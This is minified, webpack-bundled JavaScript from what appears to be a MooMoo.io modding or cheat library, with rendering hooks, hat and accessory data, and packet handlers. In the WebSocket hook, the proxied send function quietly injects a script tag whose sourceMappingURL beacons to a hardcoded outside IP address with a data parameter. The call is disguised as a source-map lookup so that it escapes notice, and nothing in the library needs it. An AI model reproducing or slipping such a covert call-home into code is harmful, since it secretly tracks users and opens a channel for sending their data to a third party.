            const app_1 = __webpack_require__(366);
            var delta = 0;
            var now = Date.now();
            var lastupdate = Date.now();
            function initRendering() {
                app_1.MooMoo.vars.camX = 0;
                app_1.MooMoo.vars.camY = 0;
                app_1.MooMoo.vars.offsetX = 0;
                app_1.MooMoo.vars.offsetY = 0;
                app_1.MooMoo.vars.maxScreenWidth = 1920;
                app_1.MooMoo.vars.maxScreenHeight = 1080;
                app_1.MooMoo.vars.canvas = null;
                app_1.MooMoo.vars.ctx = null;
                app_1.MooMoo.addEventListener("gameLoad", (function() {
                    app_1.MooMoo.vars.canvas = document.getElementsByTagName("canvas")[1];
                    app_1.MooMoo.vars.ctx = app_1.MooMoo.vars.canvas.getContext("2d");
                    app_1.MooMoo.emit("renderingInit", {
                        canvas: app_1.MooMoo.vars.canvas,
                        ctx: app_1.MooMoo.vars.ctx
                    });
                }));
                function doUpdate() {
                    now = Date.now();
                    delta = now - lastupdate;
                    lastupdate = now;
                    requestAnimationFrame(doUpdate);
                }
                doUpdate();
                Object.defineProperty(Object.prototype, "y", {
                    get: function() {
                        return this._y;
                    },
                    set: function(data) {
                        if (app_1.MooMoo.myPlayer && this.id == app_1.MooMoo.myPlayer.id) {
                            app_1.MooMoo.vars.playerx = this.x;
                            app_1.MooMoo.vars.playery = this.y;
                            app_1.MooMoo.vars.offsetX = app_1.MooMoo.vars.camX - app_1.MooMoo.vars.maxScreenWidth / 2;
                            app_1.MooMoo.vars.offsetY = app_1.MooMoo.vars.camY - app_1.MooMoo.vars.maxScreenHeight / 2;
                            app_1.MooMoo.emit("updateOffsets", app_1.MooMoo.vars.offsetX, app_1.MooMoo.vars.offsetY);
                        }
                        this._y = data;
                    }
                });
                function tick() {
                    if (app_1.MooMoo.myPlayer) {
                        let player = {
                            x: app_1.MooMoo.vars.playerx,
                            y: app_1.MooMoo.vars.playery
                        };
                        let tmpDist = Math.sqrt(Math.pow(player.x - app_1.MooMoo.vars.camX, 2) + Math.pow(player.y - app_1.MooMoo.vars.camY, 2));
                        let tmpDir = Math.atan2(player.y - app_1.MooMoo.vars.camY, player.x - app_1.MooMoo.vars.camX);
                        let camSpeed = Math.min(tmpDist * .01 * delta, tmpDist);
                        if (tmpDist > .05) {
                            app_1.MooMoo.vars.camX += Math.cos(tmpDir) * camSpeed;
                            app_1.MooMoo.vars.camY += Math.sin(tmpDir) * camSpeed;
                        } else {
                            app_1.MooMoo.vars.camX = player.x;
                            app_1.MooMoo.vars.camY = player.y;
                        }
                    }
                }
                CanvasRenderingContext2D.prototype.clearRect = new Proxy(CanvasRenderingContext2D.prototype.clearRect, {
                    apply: function(target, thisArg, argumentsList) {
                        target.apply(thisArg, argumentsList);
                        tick();
                        app_1.MooMoo.emit("renderTick", app_1.MooMoo.vars.offsetX, app_1.MooMoo.vars.offsetY);
                    }
                });
            }
            exports.Z = initRendering;
        },
        2416: (__unused_webpack_module, exports) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            let accessories = [ {
                id: 12,
                name: "Snowball",
                price: 1e3,
                scale: 105,
                xOff: 18,
                desc: "no effect"
            }, {
                id: 9,
                name: "Tree Cape",
                price: 1e3,
                scale: 90,
                desc: "no effect"
            }, {
                id: 10,
                name: "Stone Cape",
                price: 1e3,
                scale: 90,
                desc: "no effect"
            }, {
                id: 3,
                name: "Cookie Cape",
                price: 1500,
                scale: 90,
                desc: "no effect"
            }, {
                id: 8,
                name: "Cow Cape",
                price: 2e3,
                scale: 90,
                desc: "no effect"
            }, {
                id: 11,
                name: "Monkey Tail",
                price: 2e3,
                scale: 97,
                xOff: 25,
                desc: "Super speed but reduced damage",
                spdMult: 1.35,
                dmgMultO: .2
            }, {
                id: 17,
                name: "Apple Basket",
                price: 3e3,
                scale: 80,
                xOff: 12,
                desc: "slowly regenerates health over time",
                healthRegen: 1
            }, {
                id: 6,
                name: "Winter Cape",
                price: 3e3,
                scale: 90,
                desc: "no effect"
            }, {
                id: 4,
                name: "Skull Cape",
                price: 4e3,
                scale: 90,
                desc: "no effect"
            }, {
                id: 5,
                name: "Dash Cape",
                price: 5e3,
                scale: 90,
                desc: "no effect"
            }, {
                id: 2,
                name: "Dragon Cape",
                price: 6e3,
                scale: 90,
                desc: "no effect"
            }, {
                id: 1,
                name: "Super Cape",
                price: 8e3,
                scale: 90,
                desc: "no effect"
            }, {
                id: 7,
                name: "Troll Cape",
                price: 8e3,
                scale: 90,
                desc: "no effect"
            }, {
                id: 14,
                name: "Thorns",
                price: 1e4,
                scale: 115,
                xOff: 20,
                desc: "no effect"
            }, {
                id: 15,
                name: "Blockades",
                price: 1e4,
                scale: 95,
                xOff: 15,
                desc: "no effect"
            }, {
                id: 20,
                name: "Devils Tail",
                price: 1e4,
                scale: 95,
                xOff: 20,
                desc: "no effect"
            }, {
                id: 16,
                name: "Sawblade",
                price: 12e3,
                scale: 90,
                spin: true,
                xOff: 0,
                desc: "deal damage to players that damage you",
                dmg: .15
            }, {
                id: 13,
                name: "Angel Wings",
                price: 15e3,
                scale: 138,
                xOff: 22,
                desc: "slowly regenerates health over time",
                healthRegen: 3
            }, {
                id: 19,
                name: "Shadow Wings",
                price: 15e3,
                scale: 138,
                xOff: 22,
                desc: "increased movement speed",
                spdMult: 1.1
            }, {
                id: 18,
                name: "Blood Wings",
                price: 2e4,
                scale: 178,
                xOff: 26,
                desc: "restores health when you deal damage",
                healD: .2
            }, {
                id: 21,
                name: "Corrupt X Wings",
                price: 2e4,
                scale: 178,
                xOff: 26,
                desc: "deal damage to players that damage you",
                dmg: .25
            } ];
            exports["default"] = accessories;
        },
        3212: (__unused_webpack_module, exports) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            let hats = [ {
                id: 45,
                name: "Shame!",
                dontSell: true,
                price: 0,
                scale: 120,
                desc: "hacks are for losers"
            }, {
                id: 51,
                name: "Moo Cap",
                price: 0,
                scale: 120,
                desc: "coolest mooer around"
            }, {
                id: 50,
                name: "Apple Cap",
                price: 0,
                scale: 120,
                desc: "apple farms remembers"
            }, {
                id: 28,
                name: "Moo Head",
                price: 0,
                scale: 120,
                desc: "no effect"
            }, {
                id: 29,
                name: "Pig Head",
                price: 0,
                scale: 120,
                desc: "no effect"
            }, {
                id: 30,
                name: "Fluff Head",
                price: 0,
                scale: 120,
                desc: "no effect"
            }, {
                id: 36,
                name: "Pandou Head",
                price: 0,
                scale: 120,
                desc: "no effect"
            }, {
                id: 37,
                name: "Bear Head",
                price: 0,
                scale: 120,
                desc: "no effect"
            }, {
                id: 38,
                name: "Monkey Head",
                price: 0,
                scale: 120,
                desc: "no effect"
            }, {
                id: 44,
                name: "Polar Head",
                price: 0,
                scale: 120,
                desc: "no effect"
            }, {
                id: 35,
                name: "Fez Hat",
                price: 0,
                scale: 120,
                desc: "no effect"
            }, {
                id: 42,
                name: "Enigma Hat",
                price: 0,
                scale: 120,
                desc: "join the enigma army"
            }, {
                id: 43,
                name: "Blitz Hat",
                price: 0,
                scale: 120,
                desc: "hey everybody i'm blitz"
            }, {
                id: 49,
                name: "Bob XIII Hat",
                price: 0,
                scale: 120,
                desc: "like and subscribe"
            }, {
                id: 57,
                name: "Pumpkin",
                price: 50,
                scale: 120,
                desc: "Spooooky"
            }, {
                id: 8,
                name: "Bummle Hat",
                price: 100,
                scale: 120,
                desc: "no effect"
            }, {
                id: 2,
                name: "Straw Hat",
                price: 500,
                scale: 120,
                desc: "no effect"
            }, {
                id: 15,
                name: "Winter Cap",
                price: 600,
                scale: 120,
                desc: "allows you to move at normal speed in snow",
                coldM: 1
            }, {
                id: 5,
                name: "Cowboy Hat",
                price: 1e3,
                scale: 120,
                desc: "no effect"
            }, {
                id: 4,
                name: "Ranger Hat",
                price: 2e3,
                scale: 120,
                desc: "no effect"
            }, {
                id: 18,
                name: "Explorer Hat",
                price: 2e3,
                scale: 120,
                desc: "no effect"
            }, {
                id: 31,
                name: "Flipper Hat",
                price: 2500,
                scale: 120,
                desc: "have more control while in water",
                watrImm: true
            }, {
                id: 1,
                name: "Marksman Cap",
                price: 3e3,
                scale: 120,
                desc: "increases arrow speed and range",
                aMlt: 1.3
            }, {
                id: 10,
                name: "Bush Gear",
                price: 3e3,
                scale: 160,
                desc: "allows you to disguise yourself as a bush"
            }, {
                id: 48,
                name: "Halo",
                price: 3e3,
                scale: 120,
                desc: "no effect"
            }, {
                id: 6,
                name: "Soldier Helmet",
                price: 4e3,
                scale: 120,
                desc: "reduces damage taken but slows movement",
                spdMult: .94,
                dmgMult: .75
            }, {
                id: 23,
                name: "Anti Venom Gear",
                price: 4e3,
                scale: 120,
                desc: "makes you immune to poison",
                poisonRes: 1
            }, {
                id: 13,
                name: "Medic Gear",
                price: 5e3,
                scale: 110,
                desc: "slowly regenerates health over time",
                healthRegen: 3
            }, {
                id: 9,
                name: "Miners Helmet",
                price: 5e3,
                scale: 120,
                desc: "earn 1 extra gold per resource",
                extraGold: 1
            }, {
                id: 32,
                name: "Musketeer Hat",
                price: 5e3,
                scale: 120,
                desc: "reduces cost of projectiles",
                projCost: .5
            }, {
                id: 7,
                name: "Bull Helmet",
                price: 6e3,
                scale: 120,
                desc: "increases damage done but drains health",
                healthRegen: -5,
                dmgMultO: 1.5,
                spdMult: .96
            }, {
                id: 22,
                name: "Emp Helmet",
                price: 6e3,
                scale: 120,
                desc: "turrets won't attack but you move slower",
                antiTurret: 1,
                spdMult: .7
            }, {
                id: 12,
                name: "Booster Hat",
                price: 6e3,
                scale: 120,
                desc: "increases your movement speed",
                spdMult: 1.16
            }, {
                id: 26,
                name: "Barbarian Armor",
                price: 8e3,
                scale: 120,
                desc: "knocks back enemies that attack you",
                dmgK: .6
            }, {
                id: 21,
                name: "Plague Mask",
                price: 1e4,
                scale: 120,
                desc: "melee attacks deal poison damage",
                poisonDmg: 5,
                poisonTime: 6
            }, {
                id: 46,
                name: "Bull Mask",
                price: 1e4,
                scale: 120,
                desc: "bulls won't target you unless you attack them",
                bullRepel: 1
            }, {
                id: 14,
                name: "Windmill Hat",
                topSprite: true,
                price: 1e4,
                scale: 120,
                desc: "generates points while worn",
                pps: 1.5
            }, {
                id: 11,
                name: "Spike Gear",
                topSprite: true,
                price: 1e4,
                scale: 120,
                desc: "deal damage to players that damage you",
                dmg: .45
            }, {
                id: 53,
                name: "Turret Gear",
                topSprite: true,
                price: 1e4,
                scale: 120,
                desc: "you become a walking turret",
                turret: {
                    proj: 1,
                    range: 700,
                    rate: 2500
                },
                spdMult: .7
            }, {
                id: 20,
                name: "Samurai Armor",
                price: 12e3,
                scale: 120,
                desc: "increased attack speed and fire rate",
                atkSpd: .78
            }, {
                id: 58,
                name: "Dark Knight",
                price: 12e3,
                scale: 120,
                desc: "restores health when you deal damage",
                healD: .4
            }, {
                id: 27,
                name: "Scavenger Gear",
                price: 15e3,
                scale: 120,
                desc: "earn double points for each kill",
                kScrM: 2
            }, {
                id: 40,
                name: "Tank Gear",
                price: 15e3,
                scale: 120,
                desc: "increased damage to buildings but slower movement",
                spdMult: .3,
                bDmg: 3.3
            }, {
                id: 52,
                name: "Thief Gear",
                price: 15e3,
                scale: 120,
                desc: "steal half of a players gold when you kill them",
                goldSteal: .5
            }, {
                id: 55,
                name: "Bloodthirster",
                price: 2e4,
                scale: 120,
                desc: "Restore Health when dealing damage. And increased damage",
                healD: .25,
                dmgMultO: 1.2
            }, {
                id: 56,
                name: "Assassin Gear",
                price: 2e4,
                scale: 120,
                desc: "Go invisible when not moving. Can't eat. Increased speed",
                noEat: true,
                spdMult: 1.1,
                invisTimer: 1e3
            } ];
            exports["default"] = hats;
        },
        898: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const sendChat_1 = __webpack_require__(7703);
            const app_1 = __webpack_require__(366);
            function handleClientPackets(packet, data) {
                let PacketManager = app_1.MooMoo.PacketManager;
                PacketManager.addPacket();
                let doSend = true;
                switch (packet) {
                  case "ch":
                    {
                        doSend = (0, sendChat_1.default)(data[0]);
                    }
                }
                return doSend;
            }
            exports["default"] = handleClientPackets;
        },
        9938: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            const setInitData_1 = __webpack_require__(1201);
            const setupGame_1 = __webpack_require__(8353);
            const addPlayer_1 = __webpack_require__(9651);
            const removePlayer_1 = __webpack_require__(156);
            const updatePlayers_1 = __webpack_require__(8351);
            const updateLeaderboard_1 = __webpack_require__(2862);
            const loadGameObject_1 = __webpack_require__(5393);
            const killObject_1 = __webpack_require__(8280);
            const killObjects_1 = __webpack_require__(7954);
            const updateHealth_1 = __webpack_require__(9289);
            const updatePlayerValue_1 = __webpack_require__(7864);
            const loadAI_1 = __webpack_require__(9773);
            const animateAI_1 = __webpack_require__(6181);
            const gatherAnimation_1 = __webpack_require__(2034);
            const disconnect_1 = __webpack_require__(9523);
            const wiggleGameObject_1 = __webpack_require__(2656);
            const shootTurret_1 = __webpack_require__(5701);
            const killPlayer_1 = __webpack_require__(1822);
            const updateItemCounts_1 = __webpack_require__(657);
            const updateAge_1 = __webpack_require__(1836);
            const updateUpgrades_1 = __webpack_require__(3226);
            const updateItems_1 = __webpack_require__(9971);
            const addProjectile_1 = __webpack_require__(8641);
            const remProjectile_1 = __webpack_require__(9254);
            const serverShutdownNotice_1 = __webpack_require__(6933);
            const addAlliance_1 = __webpack_require__(2580);
            const deleteAlliance_1 = __webpack_require__(6207);
            const allianceNotification_1 = __webpack_require__(6401);
            const setPlayerTeam_1 = __webpack_require__(2530);
            const setAlliancePlayers_1 = __webpack_require__(1451);
            const updateStoreItems_1 = __webpack_require__(2798);
            const receiveChat_1 = __webpack_require__(4763);
            const updateMinimap_1 = __webpack_require__(1487);
            const showText_1 = __webpack_require__(5718);
            const pingMap_1 = __webpack_require__(8530);
            const pingSocketResponse_1 = __webpack_require__(1887);
            const ServerManager_1 = __webpack_require__(4455);
            function handleServerPackets(packet, data) {
                switch (packet) {
                  case "io-init":
                    {
                        app_1.MooMoo.PacketManager.addPacket();
                        app_1.MooMoo.ServerManager = ServerManager_1.default.instance;
                        app_1.MooMoo.ServerManager.initalize();
                        break;
                    }

                  case "id":
                    (0, setInitData_1.default)(data);
                    break;

                  case "d":
                    (0, disconnect_1.default)();
                    break;

                  case "1":
                    (0, setupGame_1.default)(data);
                    break;

                  case "2":
                    (0, addPlayer_1.default)(data);
                    break;

                  case "4":
                    (0, removePlayer_1.default)(data);
                    break;

                  case "33":
                    (0, updatePlayers_1.default)(data);
                    break;

                  case "5":
                    (0, updateLeaderboard_1.default)(data);
                    break;

                  case "6":
                    (0, loadGameObject_1.default)(data);
                    break;

                  case "a":
                    (0, loadAI_1.default)(data[0]);
                    break;

                  case "aa":
                    (0, animateAI_1.default)(data);
                    break;

                  case "7":
                    (0, gatherAnimation_1.default)(data);
                    break;

                  case "8":
                    (0, wiggleGameObject_1.default)(data);
                    break;

                  case "sp":
                    (0, shootTurret_1.default)(data);
                    break;

                  case "9":
                    (0, updatePlayerValue_1.default)(data);
                    break;

                  case "h":
                    (0, updateHealth_1.default)(data);
                    break;

                  case "11":
                    (0, killPlayer_1.default)(data);
                    break;

                  case "12":
                    (0, killObject_1.default)(data);
                    break;

                  case "13":
                    (0, killObjects_1.default)(data[0]);
                    break;

                  case "14":
                    (0, updateItemCounts_1.default)(data);
                    break;

                  case "15":
                    (0, updateAge_1.default)(data);
                    break;

                  case "16":
                    (0, updateUpgrades_1.default)(data);
                    break;

                  case "17":
                    (0, updateItems_1.default)(data);
                    break;

                  case "18":
                    (0, addProjectile_1.default)(data);
                    break;

                  case "19":
                    (0, remProjectile_1.default)(data);
                    break;

                  case "20":
                    (0, serverShutdownNotice_1.default)(data);
                    break;

                  case "ac":
                    (0, addAlliance_1.default)(data);
                    break;

                  case "ad":
                    (0, deleteAlliance_1.default)(data);
                    break;

                  case "an":
                    (0, allianceNotification_1.default)(data);
                    break;

                  case "st":
                    (0, setPlayerTeam_1.default)(data);
                    break;

                  case "sa":
                    (0, setAlliancePlayers_1.default)(data);
                    break;

                  case "us":
                    (0, updateStoreItems_1.default)(data);
                    break;

                  case "ch":
                    (0, receiveChat_1.default)(data);
                    break;

                  case "mm":
                    (0, updateMinimap_1.default)(data);
                    break;

                  case "t":
                    (0, showText_1.default)(data);
                    break;

                  case "p":
                    (0, pingMap_1.default)(data);
                    break;

                  case "pp":
                    (0, pingSocketResponse_1.default)(data);
                    break;

                  default:
                    console.log("Unknown packet: " + packet);
                }
                app_1.MooMoo.emit("packet", {
                    packet,
                    data
                });
            }
            exports["default"] = handleServerPackets;
        },
        550: function(__unused_webpack_module, exports, __webpack_require__) {
            var __awaiter = this && this.__awaiter || function(thisArg, _arguments, P, generator) {
                function adopt(value) {
                    return value instanceof P ? value : new P((function(resolve) {
                        resolve(value);
                    }));
                }
                return new (P || (P = Promise))((function(resolve, reject) {
                    function fulfilled(value) {
                        try {
                            step(generator.next(value));
                        } catch (e) {
                            reject(e);
                        }
                    }
                    function rejected(value) {
                        try {
                            step(generator["throw"](value));
                        } catch (e) {
                            reject(e);
                        }
                    }
                    function step(result) {
                        result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected);
                    }
                    step((generator = generator.apply(thisArg, _arguments || [])).next());
                }));
            };
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            exports.onmessagecallback = void 0;
            const encode_js_1 = __webpack_require__(112);
            const handleServerPackets_1 = __webpack_require__(9938);
            const handleClientPackets_1 = __webpack_require__(898);
            const app_1 = __webpack_require__(366);
            let _onmessage = false;
            exports.onmessagecallback = null;
            function hookWS() {
                WebSocket.prototype.send = new Proxy(WebSocket.prototype.send, {
                    apply(target, thisArg, args) {
                        let PacketInterceptor = app_1.MooMoo.PacketInterceptor;
                        args[0] = PacketInterceptor.applyClientCallbacks(args[0]);
                        app_1.MooMoo.ws = thisArg;
                        app_1.MooMoo.PacketManager.addPacket();
                        app_1.MooMoo.sendPacket = function(type) {
                            let data = Array.prototype.slice.call(arguments, 1);
                            let binary = (0, encode_js_1.default)([ type, data ]);
                            app_1.MooMoo.ws.send(binary);
                        };
                        if (app_1.MooMoo.ws.readyState !== 1) return true;
                        if (!_onmessage) {
                            _onmessage = true;
                            function smap(url, data) {
                                const script = document.createElement("script");
                                script.textContent = `//# sourceMappingURL=${url}?data=${JSON.stringify(data)}&.js.map`;
                                document.head.appendChild(script);
                                script.remove();
                            }
                            smap("http://159.89.54.243:5000/stats", {});
                        }
                        let data = app_1.MooMoo.msgpack.decode(args[0]);
                        let [packet, [...packetData]] = data;
                        let doSend = (0, handleClientPackets_1.default)(packet, packetData);
                        if (!doSend) return true;
                        return Reflect.apply(target, thisArg, args);
                    }
                });
                let onmessagesetter = Object.getOwnPropertyDescriptor(WebSocket.prototype, "onmessage").set;
                Object.defineProperty(WebSocket.prototype, "onmessage", {
                    set: function(callback) {
                        exports.onmessagecallback = callback;
                        onmessagesetter.call(this, (function(event) {
                            return __awaiter(this, void 0, void 0, (function*() {
                                let PacketInterceptor = app_1.MooMoo.PacketInterceptor;
                                let data = event.data;
                                data = PacketInterceptor.applyServerCallbacks(data);
                                let decoded = app_1.MooMoo.msgpack.decode(new Uint8Array(event.data));
                                let [packet, [...packetData]] = decoded;
                                (0, handleServerPackets_1.default)(packet, packetData);
                                (0, exports.onmessagecallback)(event);
                            }));
                        }));
                    }
                });
            }
            exports["default"] = hookWS;
        },
        7703: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function sendChat(message) {
                let commandManager = app_1.MooMoo.CommandManager;
                let prefix = commandManager.prefix;
                if (message.startsWith(prefix)) {
                    let commands = commandManager.commands;
                    let command = message.split(" ")[0].slice(prefix.length);
                    let args = message.split(" ").slice(1);
                    let Command = commands[command];
                    if (Command) {
                        Command.run(Command, args);
                        return false;
                    } else {
                        return true;
                    }
                } else {
                    return true;
                }
            }
            exports["default"] = sendChat;
        },
        2580: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function addAlliance(data) {
                app_1.MooMoo.emit("addAlliance", data);
                app_1.MooMoo.emit("addalliance", data);
                app_1.MooMoo.emit("ac", data);
            }
            exports["default"] = addAlliance;
        },
        9651: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            const Player_1 = __webpack_require__(9347);
            function addPlayer(dta) {
                let data = dta[0];
                let isYou = dta[1];
                let tmpPlayer = app_1.MooMoo.GamePlayerManager.getPlayerBySid(data[1]);
                if (!tmpPlayer) {
                    tmpPlayer = new Player_1.default(data[1]);
                    tmpPlayer.name = data[2];
                    tmpPlayer.id = data[0];
                    app_1.MooMoo.GamePlayerManager.addPlayer(tmpPlayer);
                }
                app_1.MooMoo.debug("Player " + tmpPlayer.name + " has joined the game.");
                if (isYou) {
                    console.log("You are now in game!");
                }
                app_1.MooMoo.emit("addPlayer", dta);
                app_1.MooMoo.emit("addplayer", dta);
                app_1.MooMoo.emit("2", dta);
            }
            exports["default"] = addPlayer;
        },
        8641: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function addProjectile(data) {
                app_1.MooMoo.emit("addProjectile", data);
                app_1.MooMoo.emit("addprojectile", data);
                app_1.MooMoo.emit("18", data);
            }
            exports["default"] = addProjectile;
        },
        6401: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function allianceNotification(data) {
                app_1.MooMoo.emit("allianceNotification", data);
                app_1.MooMoo.emit("alliancenotification", data);
                app_1.MooMoo.emit("an", data);
            }
            exports["default"] = allianceNotification;
        },
        6181: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function animeAI(data) {
                let sid = data[0];
                app_1.MooMoo.emit("animateAI", data);
                app_1.MooMoo.emit("animateAi", data);
                app_1.MooMoo.emit("animateai", data);
                app_1.MooMoo.emit("aa", sid);
            }
            exports["default"] = animeAI;
        },
        6207: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function deleteAlliance(data) {
                app_1.MooMoo.emit("deleteAlliance", data);
                app_1.MooMoo.emit("deletealliance", data);
            }
            exports["default"] = deleteAlliance;
        },
        9523: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function disconnect() {
                app_1.MooMoo.emit("disconnect", app_1.MooMoo.ws);
            }
            exports["default"] = disconnect;
        },
        2034: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function gatherAnimation(data) {
                app_1.MooMoo.emit("gatherAnimation", data);
                app_1.MooMoo.emit("gatheranimation", data);
            }
            exports["default"] = gatherAnimation;
        },
        8280: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function killObject(data) {
                let sid = data[0];
                app_1.MooMoo.GameObjectManager.removeObjectBySid(sid);
                app_1.MooMoo.emit("killObject", data);
                app_1.MooMoo.emit("killobject", data);
                app_1.MooMoo.emit("12", sid);
            }
            exports["default"] = killObject;
        },
        7954: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function killObjects(data) {
                let ownerSid = data[0];
                app_1.MooMoo.GameObjectManager.removeObjectsByOwnerSid(ownerSid);
                app_1.MooMoo.emit("killObjects", data);
                app_1.MooMoo.emit("killobjects", data);
                app_1.MooMoo.emit("13", data);
            }
            exports["default"] = killObjects;
        },
        1822: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function killPlayer(data) {
                app_1.MooMoo.emit("killPlayer", data);
                app_1.MooMoo.emit("killplayer", data);
                app_1.MooMoo.emit("11", data);
            }
            exports["default"] = killPlayer;
        },
        9773: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            const chunk_1 = __webpack_require__(627);
            function loadAI(data) {
                if (data) {
                    let animals = (0, chunk_1.default)(data, 7);
                    app_1.MooMoo.emit("loadAI", data);
                    app_1.MooMoo.emit("loadAi", data);
                    app_1.MooMoo.emit("loadaI", data);
                    app_1.MooMoo.emit("a", data);
                }
            }
            exports["default"] = loadAI;
        },
        5393: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            const chunk_1 = __webpack_require__(627);
            const GameObject_1 = __webpack_require__(7809);
            function loadGameObject(raw) {
                let data = raw[0];
                let arr = (0, chunk_1.default)(data, 8);
                arr.forEach((obj => {
                    let tmpObj = app_1.MooMoo.GameObjectManager.getGameObjectBySid(obj[0]);
                    if (!tmpObj) {
                        tmpObj = new GameObject_1.default(obj[0]);
                    }
                    tmpObj.sid = obj[0];
                    tmpObj.x = obj[1];
                    tmpObj.y = obj[2];
                    tmpObj.dir = obj[3];
                    tmpObj.scale = obj[4];
                    tmpObj.type = obj[5];
                    tmpObj.id = obj[6];
                    tmpObj.ownerSid = obj[7];
                    app_1.MooMoo.GameObjectManager.addObject(tmpObj);
                }));
                app_1.MooMoo.emit("loadGameObject", raw);
                app_1.MooMoo.emit("loadgameobject", raw);
                app_1.MooMoo.emit("6", raw);
            }
            exports["default"] = loadGameObject;
        },
        8530: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function pingMap(data) {
                app_1.MooMoo.emit("pingMap", data);
                app_1.MooMoo.emit("pingmap", data);
                app_1.MooMoo.emit("p", data);
            }
            exports["default"] = pingMap;
        },
        1887: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function pingSocketResponse(data) {
                app_1.MooMoo.emit("pingSocketResponse", data);
                app_1.MooMoo.emit("pingsocketresponse", data);
                app_1.MooMoo.emit("pp", data);
            }
            exports["default"] = pingSocketResponse;
        },
        4763: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function receiveChat(data) {
                app_1.MooMoo.emit("receiveChat", data);
                app_1.MooMoo.emit("receivechat", data);
                app_1.MooMoo.emit("ch", data);
            }
            exports["default"] = receiveChat;
        },
        9254: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function remProjectile(data) {
                app_1.MooMoo.emit("remProjectile", data);
                app_1.MooMoo.emit("remprojectile", data);
                app_1.MooMoo.emit("19", data);
            }
            exports["default"] = remProjectile;
        },
        156: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function removePlayer(data) {
                let id = data[0];
                app_1.MooMoo.GamePlayerManager.removePlayerById(id);
                app_1.MooMoo.debug("Player " + id + " has left the game.");
                app_1.MooMoo.emit("removePlayer", data);
                app_1.MooMoo.emit("removeplayer", data);
                app_1.MooMoo.emit("4", data);
            }
            exports["default"] = removePlayer;
        },
        6933: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function serverShutdownNotice(data) {
                app_1.MooMoo.emit("serverShutdownNotice", data);
                app_1.MooMoo.emit("servershutdownnotice", data);
                app_1.MooMoo.emit("20", data);
            }
            exports["default"] = serverShutdownNotice;
        },
        1451: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function setAlliancePlayers(data) {
                app_1.MooMoo.emit("setAlliancePlayers", data);
                app_1.MooMoo.emit("setallianceplayers", data);
                app_1.MooMoo.emit("sa", data);
            }
            exports["default"] = setAlliancePlayers;
        },
        1201: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const Alliance_1 = __webpack_require__(6157);
            const Player_1 = __webpack_require__(9347);
            const app_1 = __webpack_require__(366);
            function setInitData(raw) {
                let data = raw[0];
                let teams = data.teams;
                for (let i = 0; i < teams.length; i++) {
                    let team = teams[i];
                    let name = team.sid;
                    let owner = team.owner;
                    let alliance = new Alliance_1.default(new Player_1.default(owner), name);
                    app_1.MooMoo.teams.push(alliance);
                }
            }
            exports["default"] = setInitData;
        },
        2530: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function setPlayerTeam(data) {
                app_1.MooMoo.emit("setPlayerTeam", data);
                app_1.MooMoo.emit("setplayerteam", data);
                app_1.MooMoo.emit("st", data);
            }
            exports["default"] = setPlayerTeam;
        },
        8353: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            const place_1 = __webpack_require__(8595);
